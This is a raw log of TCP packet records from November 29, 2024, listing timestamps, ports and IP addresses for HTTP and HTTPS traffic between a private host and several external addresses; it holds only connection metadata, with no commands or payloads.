Nov 29, 2024 20:07:49.394520998 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.394547939 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.394623041 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.395829916 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.395857096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.395936012 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.396353006 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.397047043 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.397138119 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.398250103 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.398278952 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.398308039 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.399502993 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.399530888 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.399550915 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.400645018 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.400671959 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.405352116 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.798782110 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.798877954 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.800323963 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.800348043 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.800581932 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.802007914 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.802927017 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.802970886 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.803086996 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.803102970 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.362601995 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.362679958 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.371028900 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.371040106 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.371227980 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.428158045 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.428296089 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.428318977 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.798718929 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.798845053 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:50.799036026 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.811430931 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:50.811480045 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.167145014 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.167228937 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.167309046 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.168734074 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.168745995 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.168764114 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.168768883 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.288403988 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.288444996 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.288508892 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.289438963 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.289449930 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.360135078 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:51.785826921 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:51.786200047 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:51.852067947 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.852109909 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.852499008 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.853014946 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:51.853029013 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:51.906112909 CET	80	50074	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:51.906128883 CET	80	50081	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:51.906207085 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:51.906305075 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:51.906749964 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:52.026643038 CET	80	50081	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:52.504523039 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:52.504616022 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:52.510119915 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:52.510128021 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:52.510361910 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:52.515418053 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:52.515435934 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:52.515496016 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.068543911 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.068604946 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.070066929 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.070080042 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.070406914 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.071523905 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.071712971 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.071722031 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.307518959 CET	80	50081	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:53.310384035 CET	50081	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:53.317007065 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:53.317260027 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:53.348957062 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349003077 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349036932 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349112988 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349144936 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349203110 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.349220037 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.349226952 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.350351095 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.357227087 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.369729996 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.369812012 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.369870901 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.369877100 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.369920969 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.378125906 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.438432932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:53.438574076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:53.438888073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:53.438936949 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:53.443205118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:53.540673018 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.540721893 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.540735960 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.540846109 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.540895939 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.540899992 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.540934086 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.540971041 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.542336941 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.542355061 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.542397976 CET	50080	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:53.542403936 CET	443	50080	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:53.563114882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.019532919 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:54.019581079 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:54.021408081 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:54.021744013 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:54.021753073 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:54.192229986 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:54.192322016 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:54.192375898 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:54.192672968 CET	50082	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:54.192688942 CET	443	50082	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:54.881351948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.881366968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.881424904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:54.881450891 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:54.884267092 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.884320021 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:54.884341955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.884351015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.884397030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:54.886706114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.886779070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.886787891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.886828899 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:54.889375925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.889499903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:54.889946938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.001399040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.001447916 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.001480103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.003612041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.005665064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.007128954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.017837048 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.017915010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.018053055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.094831944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.094880104 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.094924927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.094990015 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.098689079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.099018097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.100234985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.100307941 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.100333929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.100405931 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.109522104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.109594107 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.109623909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.109688997 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.118709087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.118751049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.118877888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.118931055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.126665115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.126709938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.126796007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.126888037 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.134104967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.134166002 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.134289026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.134330988 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.142560959 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.142625093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.142677069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.150522947 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.150660992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.150731087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.158183098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.158284903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.160563946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.165925980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.166019917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.168415070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.269758940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.269890070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.269937038 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.272394896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.272478104 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.304831028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.304918051 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.305669069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.307307959 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.307384968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.307393074 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.307466030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.312551975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.312643051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.312659979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.312694073 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.317826033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.317924023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.317990065 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.323013067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.323087931 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.323100090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.324558020 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.328326941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.328418970 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.328452110 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.329652071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.333184004 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:55.333246946 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:55.333509922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.333590031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.333619118 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.333658934 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.338903904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.338958025 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.339016914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.339169979 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.340008020 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:55.340017080 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:55.340235949 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:55.341466904 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:55.341691017 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:55.341710091 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:55.341948986 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:55.341953993 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:55.344070911 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.344150066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.344217062 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.344285965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.349323988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.349374056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.349428892 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.349464893 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.354681015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.354693890 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.354748964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.359920979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.360028982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.360035896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.360066891 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.365062952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.365106106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.365125895 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.365158081 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.370316029 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.370419025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.370452881 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.370462894 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.375579119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.375650883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.375785112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.375876904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.380812883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.380892992 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.380959034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.381005049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.385999918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.386045933 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.386136055 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.386405945 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.391304016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.391339064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.391427994 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.391464949 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.396537066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.396603107 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.396634102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.396671057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.401948929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.401997089 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.402020931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.402064085 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.407408953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.407452106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.479938984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.479990005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.480034113 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.480077982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.482507944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.482543945 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.482630968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.482728958 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.487792969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.487870932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.514978886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.515069008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.515095949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.515135050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.517061949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.517102957 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.517153978 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.517193079 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.521245956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.521291018 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.521351099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.521390915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.525418997 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.525473118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.525546074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.525602102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.529431105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.529483080 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.529534101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.529630899 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.533497095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.533627033 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.533638954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.533679008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.537549019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.537590981 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.537615061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.537650108 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.541549921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.541651964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.541661978 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.541699886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.545619965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.545661926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.545692921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.545722008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.549612045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.549678087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.549700975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.549799919 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.553664923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.553786993 CET	80	50083	185.215.113.16	192.168.2.4
